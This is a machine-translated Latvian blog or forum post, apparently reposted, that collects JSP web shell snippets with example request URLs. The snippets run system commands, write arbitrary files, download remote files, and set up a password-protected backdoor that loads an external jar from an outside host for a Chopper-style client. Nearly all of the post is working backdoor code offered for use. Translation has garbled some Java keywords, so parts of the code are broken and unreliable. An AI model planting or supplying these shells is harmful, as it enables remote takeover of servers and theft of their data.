|
|
Publicēts 02.01.2015 18:46:57
|
|
|
|

Pārcelts no: http://p2j.cn/?p=1627 1. Izpildiet sistēmas komandas: Izpildiet sistēmas komandas bez atbalss: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Pieprasījums: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Pēc izpildes nebūs atbalss, kas ir ļoti ērti atlēciena čaumalām. Ir atbalsis ar paroles verifikāciju: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; baits [] b = jauns baits [2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(jauna virkne(b)); } out.print("</pre>"); }%> Pieprasījums: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Kodējiet virkni un ierakstiet to norādītajā failā: 1: <%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Pieprasījums: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Rakstiet tīmekļa direktorijā: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Pieprasījums: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Pieprasījums: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Rakstiet tīmekļa direktorijā: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Pieprasījums: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Lejupielādējiet attālo failu (ja neizmantojat Apache io utilītus, jūs nevarat konvertēt ievadplūsmu uz baitu, tāpēc tas ir ļoti garš ...) <% java.io.InputStream = jauns java.net.URL(request.getParameter("u")).openStream(); baits[] b = jauns baits[1024]; java.io.ByteArrayOutputStream baos = jauns java.io.ByteArrayOutputStream(); int a = -1; kamēr ((a = in.read(b)) != -1) { baos.write(b, 0, a); } jauns java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> Pieprasījums: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Lejupielādēt tīmekļa ceļā: <% java.io.InputStream = jauns java.net.URL(request.getParameter("u")).openStream(); baits[] b = jauns baits[1024]; java.io.ByteArrayOutputStream baos = jauns java.io.ByteArrayOutputStream(); int a = -1; kamēr ((a = in.read(b)) != -1) { baos.write(b, 0, a); } jauns java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> Pieprasījums: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Četri: Atspulgs sauc ārējo burku, pilnveido aizmugurējās durvis Ja jums nepatīk, ka iepriekš minētā aizmugurējo durvju funkcija ir pārāk vāja un novecojusi, varat izmēģināt šo: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))}))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Pieprasījums: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Virtuves naža savienojums: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, parole 023.
Risinājums: Izmantojiet atspoguļojumu, lai pašreizējā lietojumprogrammā ielādētu ārējo burku, un atspoguļojums izpilda izvades apstrādes rezultātu. request.getParameterMap() satur visus pieprasītos parametrus. Tā kā ārējā jar pakotne ir ielādēta, serverim ir jāspēj piekļūt šai jar adresei. |
Iepriekšējo:TXT teksta faila krīzeNākamo:Java MD5 šifrēšana, Base64 šifrēšana un atšifrēšana Java izpilda sistēmas komandu avota kodu
|